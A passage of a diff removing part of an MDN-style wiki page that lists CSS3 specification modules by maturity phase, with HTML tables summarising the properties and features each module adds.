- <li>Definition for viewport-relative length units: <code>vw</code>, <code>vh</code>, <code>vmax</code>, and <code>vmin</code> .</li>
- <li>Precision about the real size of the absolute length units, which are not really absolute, but defined in relation with the <em>reference pixel</em> .</li>
- <li>Definition for {{ cssxref("&lt;angle&gt;") }}, {{cssxref("&lt;time&gt;")}}, {{cssxref("&lt;frequency&gt;")}}, {{cssxref("&lt;resolution&gt;")}}.</li>
- <li>Normative value to the definition of {{cssxref("&lt;color&gt;")}}, {{cssxref("&lt;image&gt;")}}, and {{ cssxref("&lt;position&gt;") }}.</li>
- <li>Definition for the {{ cssxref("calc", "calc()") }}, {{ cssxref("attr", "attr()")}}, and <code>toggle()</code> functional notations.<br>
- <em><strong>At risk:</strong> due to insufficient browser support, standardization of the <code>calc()</code>, <code>attr()</code>, and <code>toggle()</code> functional notations may be postponed to </em> <em>the next iteration of this module</em><em>.</em></li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>Several types definition, like <code>&lt;ident&gt;</code> and <code>&lt;custom-ident&gt;</code>, have been deferred to CSS Values and Units Module Level 4.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Flexbox", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Flexbox") }}</td>
- </tr>
- <tr>
- <td colspan="2">Add a flexbox layout to the CSS {{ cssxref("display") }} property and several new CSS properties to control it: {{ cssxref("flex") }}, {{ cssxref("flex-align") }}, {{ cssxref("flex-direction") }}, {{ cssxref("flex-flow") }}, {{ cssxref("flex-item-align") }}, {{ cssxref("flex-line-pack") }}, {{ cssxref("flex-order") }}, {{ cssxref("flex-pack") }}, and {{ cssxref("flex-wrap") }}.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(220, 255, 220);"><strong>{{ SpecName("CSS3 Conditional", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Conditional") }}</td>
- </tr>
- <tr>
- <td colspan="2">Adds features for conditional processing of parts of style sheets, conditioned on capabilities of the browser or the document the style sheet is being applied to. It consists mainly in allowing nested at-rules inside {{ cssxref("@media") }} and the adding of a new CSS at-rule, {{ cssxref("@supports") }}, and a new DOM method {{domxref("CSS.supports()")}}.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(220, 255, 220);"><strong>{{ SpecName("CSS3 Text Decoration", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Text Decoration") }}</td>
- </tr>
- <tr>
- <td colspan="2">
- <p>Extends:</p>
-
- <ul>
- <li>the CSS {{ cssxref("text-decoration") }} property by making it a shorthand for the CSS {{ cssxref("text-decoration-line") }}, {{ cssxref("text-decoration-color") }}, and {{ cssxref("text-decoration-style") }} properties. And adds the {{ cssxref("text-decoration-skip") }}, and {{ cssxref("text-underline-position") }} properties.</li>
- </ul>
-
- <p>Adds:</p>
-
- <ul>
- <li>Support for East-Asian-script emphasis marks with the CSS {{ cssxref("text-emphasis") }}, {{ cssxref("text-emphasis-style") }}, {{ cssxref("text-emphasis-color") }}, and {{ cssxref("text-emphasis-position") }} properties.</li>
- <li>Support for script shadows with the CSS {{ cssxref("text-shadow") }} property.</li>
- </ul>
-
- <p>Precises:</p>
-
- <ul>
- <li>The paint order of the decorations.</li>
- </ul>
-
- <p><em><strong>At risk:</strong> due to insufficient browser support, standardization of the <code>text-decoration-skip</code>, line positioning rules and the ability to place both emphasis marks and ruby above the same base text may be postponed to </em> <em>the next iteration of this module</em><em>.</em></p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Fonts", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Fonts") }}</td>
- </tr>
- <tr>
- <td colspan="2">
- <p>Amends the CSS2.1 Font matching algorithm to be closer to what is really implemented.</p>
-
- <p>Adds:</p>
-
- <ul>
- <li>Support for downloadable fonts via the CSS {{ cssxref("@font-face") }} at-rule.</li>
- <li>The control of the contextual inter-glyph spacing via the CSS {{ cssxref("font-kerning") }} property.</li>
- <li>The choice of language-specific glyphs via the CSS {{ cssxref("font-language-override") }} property.</li>
- <li>The choice of glyphs with specific OpenType features via the CSS {{ cssxref("font-feature-settings") }} property.</li>
- <li>The control of the aspect ratio to use when fallback fonts are selected via the CSS {{ cssxref("font-size-adjust") }} property.</li>
- <li>The choice of alternative font faces using the CSS {{ cssxref("font-stretch") }}, {{ cssxref("font-variant-alternates") }}, {{ cssxref("font-variant-caps") }}, {{ cssxref("font-variant-east-asian") }}, {{ cssxref("font-variant-ligatures") }}, {{ cssxref("font-variant-numeric") }}, and {{ cssxref("font-variant-position") }} properties. It also extends the related CSS {{ cssxref("font-variant") }} shorthand property and introduces the {{ cssxref("@font-features-values") }} at-rule.</li>
- <li>The control of the automatic generation of an oblique or bold face when none are found via the CSS {{ cssxref("font-synthesis") }} property.</li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Cascade", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Cascade") }}</td>
- </tr>
- <tr>
- <td colspan="2">
- <p>Adds:</p>
-
- <ul>
- <li>The <code>initial</code>, <code>unset</code> values for properties.</li>
- <li>The CSS {{ cssxref("all") }} property.</li>
- <li>The scoping mechanism.</li>
- </ul>
-
- <p>Precises:</p>
-
- <ul>
- <li>Interaction of media-dependent @import statements and style sheet loading requirements.</li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Writing Modes", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Writing Modes") }}</td>
- </tr>
- <tr>
- <td colspan="2">Defines the writing modes of both horizontal and vertical scripts and precises how the CSS {{ cssxref("direction") }} and {{ cssxref("unicode-bidi") }} properties interact with the new CSS {{ cssxref("text-orientation") }} property, and extends them where needed.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS Shapes", "", "") }}</strong></td>
- <td>{{ Spec2("CSS Shapes") }}</td>
- </tr>
- <tr>
- <td colspan="2">Defines geometric shapes, which can be applied to floats. These shapes describe areas, around which inline content wraps instead of wrapping around the bounding box.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS Masks", "", "") }}</strong></td>
- <td>{{ Spec2("CSS Masks") }}</td>
- </tr>
- <tr>
- <td colspan="2">Defines a way for partially or fully hiding portions of visual elements. It describes how to use another graphical element or image as a luminance or alpha mask.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Modules_in_the_refining_phase">Modules in the refining phase</h3>
-
-<p>Specifications that are deemed to be in the <em>refining phase</em> are already fairly stable. Though changes are still expected, they shouldn't create incompatibilities with current implementations; they should mainly define behavior in edge cases.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("Web Animations", "", "") }}</strong></td>
- <td>{{ Spec2("Web Animations") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Counter Styles", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Counter Styles") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("Compositing", "", "") }}</strong></td>
- <td>{{ Spec2("Compositing") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Syntax", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Syntax") }}</td>
- </tr>
- <tr>
- <td colspan="2">Precises how charsets are determined; minor changes in parsing and tokenization algorithms.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS Will Change", "", "") }}</strong></td>
- <td>{{ Spec2("CSS Will Change") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Transitions", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Transitions") }}</td>
- </tr>
- <tr>
- <td colspan="2">Allows the definition of transitions effects between two properties values by adding the CSS {{ cssxref("transition") }}, {{ cssxref("transition-delay") }}, {{ cssxref("transition-duration") }}, {{ cssxref("transition-property") }}, and {{ cssxref("transition-timing-function") }} properties.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Animations", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Animations") }}</td>
- </tr>
- <tr>
- <td colspan="2">Allows the definition of animations effects by adding the CSS {{ cssxref("animation") }}, {{ cssxref("animation-delay") }},{{ cssxref("animation-direction") }}, {{ cssxref("animation-duration") }}, {{ cssxref("animation-fill-mode") }}, {{ cssxref("animation-iteration-count") }}, {{ cssxref("animation-name") }}, {{ cssxref("animation-play-state") }}, and {{ cssxref("animation-timing-function") }} properties, as well as the {{ cssxref("@keyframes") }} at-rule.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Transforms", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Transforms") }}</td>
- </tr>
- <tr>
- <td colspan="2">
- <p>Adds:</p>
-
- <ul>
- <li>the support of bi-dimensional transforms to be applied to any element using the CSS {{ cssxref("transform") }} and {{ cssxref("transform-origin") }} properties. The supported transforms are: <code>matrix</code><code>()</code>, <code>translate()</code>, <code>translateX()</code>, <code>translateY()</code>, <code>scale()</code>, <code>scaleX()</code>, <code>scaleY()</code>, <code>rotate()</code>, <code>skewX()</code>, and <code>skewY()</code>.</li>
- <li>the support of tri-dimensional transforms to be applied to any element by adding the CSS {{ cssxref("transform-style") }}, {{ cssxref("perspective") }}, {{ cssxref("perspective-origin") }}, and {{ cssxref("backface-visibility") }} properties and extended the {{ cssxref("transform") }} property with the following transforms are: <code>matrix</code> <code>3d()</code>, <code>translate3d()</code>, <code>translateZ()</code>,  <code>scale3d()</code>, <code>scaleZ()</code>, <code>rotate3d()</code>, <code>rotateX</code><code>()</code>, <code>rotateY</code><code>()</code>, <code>rotateZ()</code>, and <code>perspective()</code>.</li>
- </ul>
-
- <p><em><strong>Note:</strong> this specification is a merge of CSS 2D-Transforms, CSS 3D-Transforms and SVG transforms. </em></p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(255, 255, 220);"><strong>{{ SpecName("CSS3 Fragmentation", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Fragmentation") }}</td>
- </tr>
- <tr>
- <td colspan="2">Defines how partitions of a Web page should happen, that is page, column breaks, and widows and orphans handling.
- <p>Adds:</p>
-
- <ul>
- <li>Support for defining the behavior of decorations, that is borders and background colors or images, when a box is breaked (at a page, column or line-break) with the CSS {{ cssxref("box-decoration-break") }} property.</li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Text", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Text") }}</td>
- </tr>
- <tr>
- <td colspan="2">
- <p>Extends:</p>
-
- <ul>
- <li>the CSS {{ cssxref("text-transform") }} property with the value <code>full-width</code>.</li>
- <li>the CSS {{ cssxref("text-align") }} property with the value <code>start</code>, <code>end</code>, <code>start end</code>, and <code>match-parent</code> for a better support of documents with multiple directionalities of text.</li>
- <li>the CSS {{ cssxref("text-align") }} property with a {{cssxref("&lt;string&gt;")}} value to align on that character. This is useful to align number on the decimal point.</li>
- <li>the CSS {{ cssxref("word-spacing") }} and {{ cssxref("letter-spacing") }} properties with range constraints to control flexibility in justification.</li>
- </ul>
-
- <p>Adds:</p>
-
- <ul>
- <li>Control on how whitespaces are displayed using the CSS {{ cssxref("text-space-collapse") }} and {{ cssxref("tab-size") }} properties.</li>
- <li>Control on line breaks and word boundaries using the CSS {{ cssxref("line-break") }}, {{ cssxref("word-break") }}, {{ cssxref("hyphens") }}, {{ cssxref("text-wrap") }}, {{ cssxref("overflow-wrap") }}, and {{ cssxref("text-align-last") }} properties.</li>
- <li>Control on how justification is happening, in order to support more type of scripts, using the CSS {{ cssxref("text-justify") }} property.</li>
- <li>Control on edge effect using the CSS {{ cssxref("text-indent") }} and {{ cssxref("hanging-punctuation") }} properties.</li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>A few features present in early CSS Text Level 3 draft have being <a class="external" href="http://dev.w3.org/csswg/css3-text/#recent-changes" title="http://dev.w3.org/csswg/css3-text/#recent-changes">postponed to the next iteration of this module</a> .</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Variables", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Variables") }}</td>
- </tr>
- <tr>
- <td colspan="2">Defines a mechanism allowing to define variables in CSS.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("Compositing", "", "") }}</strong></td>
- <td>{{ Spec2("Compositing") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Modules_in_the_revising_phase">Modules in the revising phase</h3>
-
-<p>Modules that are in the revising phase are much less stable than those in the refining phase. Often the syntax is still under scrutiny and may evolve a lot, in a non-compatible way. Alternative syntaxes are tested and often implemented.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(255,160,100);"><strong>{{ SpecName("CSS3 Basic UI", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Basic UI") }}</td>
- </tr>
- <tr>
- <td colspan="2">
- <p>Adds:</p>
-
- <ul>
- <li>The ability to tweak the box model using the CSS {{ cssxref("box-sizing") }} property.<br>
- <strong><em>At risk:</em> </strong> <em> due to insufficient browser support, standardization of the <code>padding</code><code>-box</code> value may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li>
- <li>Allow the styling of forms according their content using the CSS {{ cssxref(":indeterminate") }}, {{ cssxref(":default") }}, {{ cssxref(":valid") }}, {{ cssxref(":invalid") }}, {{ cssxref(":in-range") }}, {{ cssxref(":out-of-range") }}, {{ cssxref(":required") }}, {{ cssxref(":optional") }}, {{ cssxref(":read-only") }}, and {{ cssxref(":read-write") }} pseudo-classes and the {{ cssxref("::value") }}, {{ cssxref("::choices") }}, {{ cssxref("::repeat-item") }}, and {{ cssxref("::repeat-index") }} pseudo-elements.<br>
- <em><strong>At risk:</strong> due to insufficient browser support, standardization of the pseudo-elements {{ cssxref("::value") }}, {{ cssxref("::choices") }}, {{ cssxref("::repeat-item") }}, and {{ cssxref("::repeat-index") }} may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li>
- <li>Support for icons, defined by the CSS {{ cssxref("icon") }} property simultaneously with the new <code>icon</code> value of the CSS {{ cssxref("content") }} property.<br>
- <em><strong>At risk:</strong> due to insufficient browser support, standardization of the {{ cssxref("icon") }} property and the <code>icon</code> value may be postponed to CSS4. </em></li>
- <li>Support for the CSS {{ cssxref("outline-offset") }} property giving more control on the position of the outline.</li>
- <li>Support for the CSS {{ cssxref("resize") }} property allowing Web authors to control if and how elements should be resized.</li>
- <li>Support for the CSS {{ cssxref("text-overflow") }} property defining how text overflows, if needed.<br>
- <em><strong>At risk:</strong> due to insufficient browser support, the 2-value syntax of this property as well as the support for {{cssxref("&lt;string&gt;")}} values may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li>
- <li>The ability to define the hotspot of a cursor as well as the new <code>none</code>, <code>context-menu</code>, <code>cell</code>, <code>vertical-text</code>, <code>alias</code>, <code>copy</code>, <code>no-drop</code>, <code>not-allowed</code>, <code>nesw-</code><code>resize</code>, <code>nwse-</code><code>resize</code>, <code>col-resize</code>, <code>row-resize</code>, <code>all-scroll</code>, <code>zoom-in</code>, <code>zoom-out</code>, extending the {{ cssxref("cursor") }} property.</li>
- <li>The ability to specify the sequential navigation order (that is the <em>tabbing order</em> ) using the CSS {{ cssxref("nav-index") }}, {{ cssxref("nav-up") }}, {{ cssxref("nav-right") }}, {{ cssxref("nav-left") }}, {{ cssxref("nav-down") }} properties.<br>
- <em><strong>At risk:</strong> due to insufficient browser support, standardization of the navigation properties may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li>
- <li>The ability to control the usage of an IME editor, using the CSS {{ cssxref("ime-mode") }} property.<br>
- <em><strong>At risk:</strong> due to insufficient browser support, standardization of the {{ cssxref("ime-mode") }} property may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>An early list of what could be in the next iteration of the CSS Basic User Interface Module is <a class="external" href="http://wiki.csswg.org/spec/css4-ui" title="http://wiki.csswg.org/spec/css4-ui">available</a>.</p>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(255,160,100);"><strong>{{ SpecName("CSS3 Grid", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Grid") }}</td>
- </tr>
- <tr>
- <td colspan="2">Add a grid layout to the CSS <a href="https://developer.mozilla.org/ru/docs/Web/CSS/display" title=""><code>display</code></a> property and several new CSS properties to control it: {{cssxref("grid")}}, {{cssxref("grid-area")}}, {{cssxref("grid-auto-columns")}}, {{cssxref("grid-auto-flow")}}, {{cssxref("grid-auto-position")}}, {{cssxref("grid-auto-rows")}}, {{cssxref("grid-column")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row")}}, {{cssxref("grid-row-start")}}, {{cssxref("grid-row-end")}}, {{cssxref("grid-template")}}, {{cssxref("grid-template-areas")}}, {{cssxref("grid-template-rows")}}, and {{cssxref("grid-template-columns")}}.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(255,160,100);"><strong>{{ SpecName("CSS3 Box Alignment", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Box Alignment") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(255,160,100);"><strong>{{ SpecName("CSS3 Paged Media", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Paged Media") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(255,160,100);"><strong>{{ SpecName("CSSOM View", "", "") }}</strong></td>
- <td>{{ Spec2("CSSOM View") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(255,160,100);"><strong>{{ SpecName("CSS4 Selectors", "", "") }}</strong></td>
- <td>{{ Spec2("CSS4 Selectors") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Modules_in_the_exploring_phase">Modules in the exploring phase</h3>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS4 Images", "", "") }}</strong></td>
- <td>{{ Spec2("CSS4 Images") }}</td>
- </tr>
- <tr>
- <td colspan="2">
- <p>Extends:</p>
-
- <ul>
- <li>the <code>image()</code> functional notation to describe the directionality of the image (<code>rtl</code> or <code>ltr</code>), allowing for bidi-sensitive images.</li>
- <li>the {{ cssxref("image-orientation") }} property by adding the keyword <code>from-image</code>, allowing to follow EXIF data stored into images to be considered.</li>
- </ul>
-
- <p>Adds:</p>
-
- <ul>
- <li>the <code>image-set()</code> functional notation to allow the definition to equivalent images at different resolution allowing for resolution-negotiated selection of images.</li>
- <li>the <code>element()</code> functional notation allowing the use of part of the page as image.</li>
- <li>the <code>cross-fade()</code> functional notation allowing to refer to intermediate images when transitioning between two images and defines the interpolation between two images.</li>
- <li>the <code>conic-gradient()</code> and <code>repeating-conic-gradient()</code> functional notation describing a new type of gradient.</li>
- <li>the {{cssxref("image-rendering")}} property that allow to define how resize of the object should be handled.</li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Device", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Device") }}</td>
- </tr>
- <tr>
- <td colspan="2">Adds a new at-rule, {{ cssxref("@viewport") }}, allowing to specify the size, zoom factor, and orientation of the viewport that is used as the base for the initial containing block.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 GCPM", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 GCPM") }}</td>
- </tr>
- <tr>
- <td colspan="2">Adds the ability to tailor printed version of a document by allowing to control header, footer but also references tables like indexes or tables of content.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS Exclusions", "", "") }}</strong></td>
- <td>{{ Spec2("CSS Exclusions") }}</td>
- </tr>
- <tr>
- <td colspan="2">Extends the floats mechanism to define exclusion regions in any positioning scheme. Adds the notion of shapes, in which content must flows.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Lists", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Lists") }}</td>
- </tr>
- <tr>
- <td colspan="2">Extends the list counter mechanism so that list markers can be styled and Web developers can define new list counter schemes.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Regions", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Regions") }}</td>
- </tr>
- <tr>
- <td colspan="2">Defines a new mechanism allowing content to flow across, eventually non-contiguous, multiple areas called regions.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Device", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Device") }}</td>
- </tr>
- <tr>
- <td colspan="2">Adds a new at-rule, {{ cssxref("@viewport") }}, allowing to specify the size, zoom factor, and orientation of the viewport that is used as the base for the initial containing block.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("Filters 1.0", "", "") }}</strong></td>
- <td>{{ Spec2("Filters 1.0") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Template", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Template") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Sizing", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Sizing") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS Line Grid", "", "") }}</strong></td>
- <td>{{ Spec2("CSS Line Grid") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Positioning", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Positioning") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Ruby", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Ruby") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSSOM", "", "") }}</strong></td>
- <td>{{ Spec2("CSSOM") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Overflow", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Overflow") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Font Loading", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Font Loading") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Display", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Display") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS Scope", "", "") }}</strong></td>
- <td>{{ Spec2("CSS Scope") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS4 Media Queries", "", "") }}</strong></td>
- <td>{{ Spec2("CSS4 Media Queries") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS Non-element Selectors", "", "") }}</strong></td>
- <td>{{ Spec2("CSS Non-element Selectors") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("Geometry Interfaces", "", "") }}</strong></td>
- <td>{{ Spec2("Geometry Interfaces") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Inline", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Inline") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Modules_in_the_rewriting_phase">Modules in the rewriting phase</h3>
-
-<p>Modules that are in the rewriting phase are outdated and require to be rewritten. The syntax is still under scrutiny and may evolve a lot, in a non-compatible way. Alternative syntaxes are tested and often implemented.</p>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: #F33;"><strong>{{ SpecName("CSS3 Box", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Box") }}</td>
- </tr>
- <tr>
- <td colspan="2"></td>
- </tr>
